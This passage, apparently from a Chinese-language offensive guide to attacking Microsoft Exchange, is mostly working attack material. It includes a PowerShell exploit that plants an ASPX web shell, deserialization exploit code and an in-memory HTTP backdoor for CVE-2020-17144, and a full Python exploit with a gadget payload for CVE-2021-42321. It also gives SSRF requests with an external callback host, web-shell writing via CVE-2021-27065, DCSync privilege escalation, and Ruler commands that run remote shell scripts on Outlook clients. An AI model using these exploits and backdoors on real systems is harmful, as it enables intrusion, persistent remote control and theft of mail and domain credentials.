"(+) targeting $server with ${usr}:$pwd"
$securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds
$hta = Get-RandomAlphanumericString
$aspx = Get-RandomAlphanumericString
# write a hta file with commands
Writebad-File -fn "C:/Windows/Temp/$hta.hta" -content "<script>new ActiveXObject('WScript.Shell').Exec('cmd /c $cmd')</script>" -session $s
"(+) wrote to target file C:/Windows/Temp/$hta.hta"
# write aspx file
Writebad-File -fn "C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp/$aspx.aspx" -content "<%=System.Diagnostics.Process.Start(Request[Request.HttpMethod])%>" -session $s
"(+) wrote to target file C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp/$aspx.aspx"
"(+) shell written, executing command..."
$b = @{
destination = "https://$server/ecp/$aspx.aspx?GET=C:/Windows/Temp/$hta.hta"
flags = ''
username = $usr
password = $pwd
}
$r = Invoke-WebRequest "https://$server/owa/auth.owa" -SessionVariable 'websess' -Body $b -Method 'POST' | Select-Object -Expand Forms
if ([string]::IsNullOrWhiteSpace($r)) {
"(+) executed $cmd as SYSTEM!"
} else {
"(-) exploit failed"
}
}
Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd
CVE-2020-17144
一、漏洞簡介
漏洞是由程序未正確校驗cmdlet參數引起。經過身份驗證的攻擊者利用該漏洞可實現遠程代碼執行。
該漏洞和 CVE-2020-0688 類似,也需要登錄后才能利用,不過在利用時無需明文密碼,只要具備 NTHash 即可。除了常規郵件服務與 OWA外,EWS接口也提供了利用所需的方法。漏洞的功能點本身還具備持久化功能。
二、漏洞影響
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 31
三、復現過程
漏洞分析
此漏洞成因簡單粗暴,首先,模型加載由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法進行實現,其代碼極為簡略:
internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai)
{
messageTransformer = null;
learningModel = null;
using (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, "MRM.AutoTag.Model", createIfMissing: false))
{
if (userConfiguration == null)
{
return false;
}
if (parseFai)
{
return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer);
}
}
return true;
}
OpenFaiMessage將從收件箱直接讀取配置並返回。由於任意用戶均可對自身配置進行任意修改,這里是一個可控輸入:
internal static UserConfiguration OpenFaiMessage(MailboxSession mailboxSession, string faiMessageClass, bool createIfMissing)
{
.....
StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
try
{
userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId);
}
.....
return userConfiguration;
}
隨后DeserializeModelFAI方法將在沒有任何SerializationBinder的情況下直接進行反序列化:
private bool DeserializeModelFAI(UserConfiguration configItem, out LearningModel learningModel, out MessageTransformer messageTransformer)
{
.....
try
{
using (Stream serializationStream = configItem.GetStream())
{
IFormatter formatter = new BinaryFormatter();
learningModel = (LearningModel)formatter.Deserialize(serializationStream);
messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream);
result = true;
}
}
.....
return result;
}
想要成功利用漏洞,便需要一個修改操作服務器端UserConfiguration對象的方式。除了常規郵件服務與OWA,Exchange提供還提供了EWS接口供客戶端調用,其對應的客戶端類庫為Microsoft.Exchange.WebServices.dll。
熟悉EWS開發的話都會知道,客戶端類庫中的對象模型與服務器對象模型幾乎完全對應。實際上完全不需要查詢MSDN即可找到所需類型Microsoft.Exchange.WebServices.Data.UserConfiguration,其定義如下:
C#
public class UserConfiguration : IJsonSerializable
{
...
public string Name
{
get
{
return name;
}
internal set
{
name = value;
}
}
public FolderId ParentFolderId
{
get
{
return parentFolderId;
}
internal set
{
parentFolderId = value;
}
}
public ItemId ItemId => itemId;
public UserConfigurationDictionary Dictionary => dictionary;
public byte[] XmlData
{
get
{
ValidatePropertyAccess(UserConfigurationProperties.XmlData);
return xmlData;
}
set
{
xmlData = value;
MarkPropertyForUpdate(UserConfigurationProperties.XmlData);
}
}
public byte[] BinaryData
{
get
{
ValidatePropertyAccess(UserConfigurationProperties.BinaryData);
return binaryData;
}
set
{
binaryData = value;
MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);
}
}
...
}
對照方法定義很容易寫出以下Exp:
ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!");
service.Url = new Uri("https://target/ews/Exchange.asmx");
{
byte[] data = EVIL-SERIALIZED-BUFFER;
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);
}
其中EVIL-SERIALIZED-BUFFER為通過ActivitySurrogateSelectorGenerator生成的二進制序列化數據,注意需要更新為修復兼容性的版本,並使用.net 3.5進行編譯。
執行后,目標服務器MSExchangeMailboxAssistants.exe進程將連續進行多次反序列化。
代碼執行僅僅是利用第一步。通過上述利用過程可以觀察到一個現象:我們訪問了EWS,設置了一個郵箱文件夾對象上的屬性,而漏洞由MSExchangeMailboxAssistants.exe進行觸發。
這個現象已經並非單純的web代碼審計,我們需要站在更高的系統層面進行理解。在https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange體系結構圖,單純考慮此漏洞所涉及的系統進行簡化整理,可以得到如下流程圖:
實際上,無論是通過接口或是客戶端,對配置、郵件等服務器對象的修改都會直接體現在Storage所存儲的內容中,這是一個數據持久化與共享行為。任何讀取郵件數據的服務實際上等同於讀取Storage,從而造成了我們觀察到由MSExchangeMailboxAssistants服務進行反序列化的結果。
此時回到代碼審計的領域分析具體觸發位置。MSExchangeMailboxAssistants實現了一個托管的windows服務,從其入口點Microsoft.Exchange.MailboxAssistants.Assistants.AssistantsService.OnStartInternal可以看到注冊了大量經由時間或事件觸發的功能:
protected override void OnStartInternal(string[] args)
{
...
databaseManager = (DatabaseManager)(object)new DatabaseManager("MSExchangeMailboxAssistants", 50, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), true);
databaseManager.Start();
...
}
CreateEventBasedAssistantTypes方法將注冊Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant類,其HandleEventInternal方法會判斷是否為AutoTag配置,我們可以看到熟悉的名稱MRM.AutoTag.Model:
internal static bool IsAutoTagFai(MapiEvent mapiEvent)
{
if ((int)mapiEvent.get_ClientType() != 6 && (mapiEvent.get_EventFlags() & 1) != 0)
{
if (string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Model", StringComparison.OrdinalIgnoreCase) != 0)
{
return string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Setting", StringComparison.OrdinalIgnoreCase) == 0;
}
return true;
}
return false;
}
如是,則將在后續過程中調用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法,此方法負責模型初始化加載,並進入實際的反序列化調用。
現在已經能夠在遠程執行任意命令,然而在實戰利用中遠遠不夠。我們不能確定對方是否能夠真正聯網,一個沒有穩定控制通道的漏洞利用在實戰中價值並不高。
我們只能確定能夠訪問到目標的EWS,那么如何進行穩定控制?我們當然可以寫入WebShell,但這僅僅是下策。MSExchangeMailboxAssistants本身通過SYSTEM賬戶運行,所以完全可以通過調用HTTP API進行端口復用,劫持EWS某個未被注冊的端點供外部訪問。
NetFX提供了HttpListener提供了HTTP API的托管訪問,參考https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0,使用以下代碼即可在/ews/soap/路徑建立一個Http監聽器,並執行request["pass"]提供的命令:
string password = "pass";
try
{
if (!HttpListener.IsSupported){return;}
HttpListener listener = new HttpListener();
listener.Prefixes.Add("http://*:80/ews/soap/");
listener.Start();
while (true)
{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
Stream stm = null ;
string cmd=request.QueryString[password];
if(!string.IsNullOrEmpty(cmd))
{
try
{
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
catch
{
response.StatusCode = 404;
}
finally
{
if(stm!=null)
{
stm.Close();
}
}
}
else
{
response.StatusCode = 404;
response.OutputStream.Close();
}
}
}
catch{}
由於會多次觸發反序列化行為,為了防止阻塞以及跑出異常,需要開啟新線程進行監聽,完整代碼大致如下:
namespace Zcg.Exploit.Remote
{
public class SimpleExecutionRemoteStub
{
public SimpleExecutionRemoteStub()
{
new Thread(Listen).Start();
}
void Listen()
{
....
}
}
}
編譯,使用新用戶執行后訪問/ews/soap/?pass=whoami,不出意外將得到whoami的輸出結果:
至此利用圓滿達成?並不,這里還有一個嚴重的問題需要解決:無法多次利用。例如,使用曾經進行過漏洞利用的用戶繼續測試,將不會成功;同時雖然序列化數據本身是持久化的,但重啟之后依然無法生效。這兩個情況將導致漏洞只能使用一次,在實戰中是不可接受的。
解決此問題需要重新審視觸發點ElcEventBasedAssistant,代碼中可發現名為IsEventInteresting的方法,根據名稱很容易推測是一個判斷是否需要觸發事件的開關。
此方法內調用了NeedToAutoTag方法驗證是否需要自動標簽功能,其代碼如下:
private bool NeedToAutoTag(MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache)
{
if ((mapiEvent.get_EventMask() & 2) != 0 && userRetentionPolicyCache != null && userRetentionPolicyCache.AutoTagCache != null && userRetentionPolicyCache.AutoTagCache.UserSetting != null && userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)
{
Tracer.TraceDebug<object, MapiEvent>((long)GetHashCode(), "{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}", TraceContext.Get(), mapiEvent);
return true;
}
return false;
}
可以看到,新用戶默認會進行一次模型加載處理,這是最初可以成功利用的原因,而后續利用因為AutoTagEnabled默認為false導致失敗。
AutoTagEnabled是Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.AutoTagUserSetting的成員,很明顯是一個簡單模型類。簡單搜索AutoTagEnabled即可發現此類由Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadUserSettings讀取名為MRM.AutoTag.Setting的配置,嘗試從字典中獲取名為AutoTagEnabled的布爾值,並為AutoTagUserSetting::AutoTagEnabled賦值。
所以只要略加修改poc,加入對MRM.AutoTag.Setting的修改即可:
byte[] data = GeneratePayload(File.ReadAllBytes("e.dll"));
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
try
{
u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData);
u.Delete();
}catch{}
try
{
u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary);
u.Delete();
}catch{}
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);
try
{
u = new UserConfiguration(service);
u.Dictionary["AutoTagEnabled"] = true;
u.Dictionary["NumberOfPredictedEmail"] = 0;
u.Dictionary["NumberOfCorrectedEmail"] = 0;
u.Dictionary["NumberOfRetaggedEmail"] = 0;
u.Save("MRM.AutoTag.Setting", folder.Id);
}catch{}
注意由於此配置默認可能存在,所以需要刪除或覆蓋。
編譯執行后重啟,直接訪問/ews/soap/?pass=whoami依然可以執行命令,至此漏洞利用完美達成。
最后兩個補充:
很多情況下Exchange外部存在代理且僅允許https訪問,此時端口復用也應該修改為https協議。
EWS支持NTLM協議認證,采用Relay或是Hash登錄均可作為明文密碼的替代品,是某些情況下可選的攻擊方案。
需要普通用戶憑據的情況下的RCE,就Exchange2010能用
poc
https://github.com/Airboi/CVE-2020-17144-EXP
https://github.com/zcgonvh/CVE-2020-17144
CVE-2020-17144
執行完之后會有個內存馬,訪問
http://[target]/ews/soap/?pass=命令
頭像哥的這個工具有個地方需要注意的是,他默認監聽的是80端口的,咱們訪問EWS接口一般用443,就以為沒打成功,實際成功了.
CVE-2021-42321
!/usr/bin/python
import socket, time
import httplib, requests
import urllib
import os, ssl
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import base64
USER = ''
PASS = ''
target = "https://target"
rcegadget
pop calc or mspaint on the target
gadgetData = 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAgAAAA9Gb3JlZ3JvdW5kQnJ1c2gPQmFja2dyb3VuZEJydXNoAQECAAAABgMAAABtPExpbmVhckdyYWRpZW50QnJ1c2ggeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiI+PC9MaW5lYXJHcmFkaWVudEJydXNoPgYEAAAA6w08UmVzb3VyY2VEaWN0aW9uYXJ5DQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQp4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+U3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLkFwcFNldHRpbmdzLCBTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9zOlN0cmluZz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw=='
def sendPayload(gadgetChain):
get_inbox = '''
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
soap:Header
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
soap:Body
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
'''
headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"}
res = requests.post(target + "/ews/exchange.asmx",
data=get_inbox,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
folderId = res.content.split('<t:FolderId Id="')[1].split('"')[0]
changeKey = res.content.split('<t:FolderId Id="' + folderId + '" ChangeKey="')[1].split('"')[0]
delete_old = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:DeleteUserConfiguration>
<m:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="%s" ChangeKey="%s" />
</m:UserConfigurationName>
</m:DeleteUserConfiguration>
</soap:Body>
</soap:Envelope>''' % (folderId, changeKey)
res = requests.post(target + "/ews/exchange.asmx",
data=delete_old,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
create_usr_cfg = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:CreateUserConfiguration>
<m:UserConfiguration>
<t:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="%s" ChangeKey="%s" />
</t:UserConfigurationName>
<t:Dictionary>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgChkTm</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer64</t:Type>
<t:Value>637728170914745525</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgDO</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Boolean</t:Type>
<t:Value>false</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgExtV</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer32</t:Type>
<t:Value>2147483647</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
</t:Dictionary>
<t:BinaryData>%s</t:BinaryData>
</m:UserConfiguration>
</m:CreateUserConfiguration>
</soap:Body>
</soap:Envelope>''' % (folderId, changeKey, gadgetChain)
res = requests.post(target + "/ews/exchange.asmx",
data=create_usr_cfg,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
get_client_ext = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetClientAccessToken>
<m:TokenRequests>
<t:TokenRequest>
<t:Id>aaaa</t:Id>
<t:TokenType>CallerIdentity</t:TokenType>
</t:TokenRequest>
</m:TokenRequests>
</m:GetClientAccessToken>
</soap:Body>
</soap:Envelope>
'''
res = requests.post(target + "/ews/exchange.asmx",
data=get_client_ext,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
sendPayload(gadgetData)
0x05SSRF漏洞
CVE-2021-26855
一、漏洞簡介
該漏洞是Exchange中的服務端請求偽造漏洞(SSRF),利用此漏洞的攻擊者能夠發送任意HTTP請求並繞過Exchange Server身份驗證,遠程未授權的攻擊者可以利用該漏洞以進行內網探測,並可以用於竊取用戶郵箱的全部內容。
危害:該漏洞是Exchange中的服務端請求偽造漏洞(SSRF),利用此漏洞的攻擊者能夠發送任意HTTP請求並繞過Exchange Server身份驗證,遠程未授權的攻擊者可以利用該漏洞以進行內網探測,並可以用於竊取用戶郵箱的全部內容。
二、漏洞影響
Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
Microsoft Exchange 2010
三、復現過程
開啟burp抓包,構造數據包:
GET /owa/auth/x.js HTTP/1.1
Host: www.0-sec.org
Connection: close
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://www.0-sec.org/owa/auth/logon.aspx?url=https%3A%2F%2F218.4.218.174%2Fowa%2F&reason=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: X-AnonResource=true; X-AnonResource-Backend=oyq5v1vyqo5komisdc1jfltvzm5dt2.burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
訪問url為:https://www.0-sec.org/owa/auth/x.js (貌似x.js可以隨便構造)
構造Cookie信息為:
Cookie: X-AnonResource=true; X-AnonResource-Backend=oyq5v1vyqo5komisdc1jfltvzm5dt2.burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
其中oyq5v1vyqo5komisdc1jfltvzm5dt2.burpcollaborator.net為dnglog信息。
可有使用burp自帶的dnglog進行驗證:
點擊burp,選擇Burp collaborator client:
各個Dnslog提示信息不一樣,但是都可以成功返回信息:
Dnslog平台:
0x06任意文件寫入
CVE-2021-27065
一、漏洞簡介
CVE-2021–27065是⼀個任意⽂件寫⼊漏洞,它需要登陸的管理員賬號權限才能觸發。而CVE-2021–26855正好可以為我們提供了管理員賬號權限。
二、漏洞影響
Microsoft Exchange 2010
Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
三、復現過程
登錄管理員賬號后,進入:服務器——>虛擬目錄——>OAB
編輯OAB配置,在外部鏈接中寫⼊shell並保存。
保存后選擇重置虛擬目錄
寫下shell位置為:\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx
查看shell文件,寫入了一句話木馬。
0x07hash/密碼 操作ews接口
可以使用現成工具
- pth_to_ews
https://github.com/pentest-tools-public/Pass-to-hash-EWS
保存在目錄下的inbox文件夾中為eml格式
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -MType Inbox
發送郵件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -Sendmail -T "123" -TM zhangjiawei1@Liton-Lab.com -B HTML.txt
搜索郵件內容含有ACL的郵件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -MType SentItems -Filterstring "ACL" 搜索ACL
如果有自己研發的需求,見3好學生的Exchange Web Service(EWS)開發指南
0x08 Exchange 在域內的位置
- 域內定位Exchange服務器
在域內可以使用ldap定位,過濾規則
"(objectCategory=msExchExchangeServer)"
可以通過spn 來定位
setspn -Q IMAP/*
- Exchange內部的域管憑據
拿到Exchange服務器,有很大概率就是域管直接登錄的.或者域管曾經登錄過.拿到Exchange服務器權限的時候,可以嘗試直接dir下域控的C盤,看有沒有權限.如果沒有權限,再嘗試使用mimikatz抓一波密碼,很大概率可以直接抓到域管或者高權限用戶.而且就算是高版本的server,在Exchange上也能抓到明文密碼.
3. Exchange的ACL
所有的Exchange Server 都在Exchange Windows Permissions組里面,而這個組默認就對域有WriteACL權限,那么當我們拿下Exchange服務器的時候,就可以嘗試使用WriteACL賦予自身Dcsync的權限.
使用powerview,為當前exchange機器名用戶增加dcsync權限(此處需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIde ntity exchange2016$ -Rights DCSync -Verbose}"
由於這個權限,Exchange 的RCE常用以在內網滲透中用來提升到域管權限.
因此在CVE-2019-1040中,除了可以攻擊DC,也有人選擇攻擊Exchange.
0x09 攻擊 OutLook客戶端
前提條件:
需要用戶憑據
該用戶電腦裝了Oulook客戶端,用outlook查看郵件的時候觸發.
攻擊效果
通過Outlook客戶端控制用戶電腦
有三種方式 Form,ruler,HomePage.
- Form
Ruler
form
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug form display
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug form add --suffix superduper --input C:\Users\tom\Desktop\output\command.txt --rule --send
command.txt 里面的內容是
CreateObject("Wscript.Shell").Run "calc.exe", 0, False
觸發
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug form send --target daiker@Liton-Lab.com --suffix superduper --subject "Hi Koos" --body "Hi Koos,\nJust checking in."
刪除
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密碼 --verbose --debug form delete --suffix superduper
- Ruler
查看規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug display
增加規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug add —location “\VPS\webdav\shell.bat” —trigger “popashell” —name maliciousrule
觸發規則
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug send —subject popashell —body “this is a test by daiker”
刪除規則
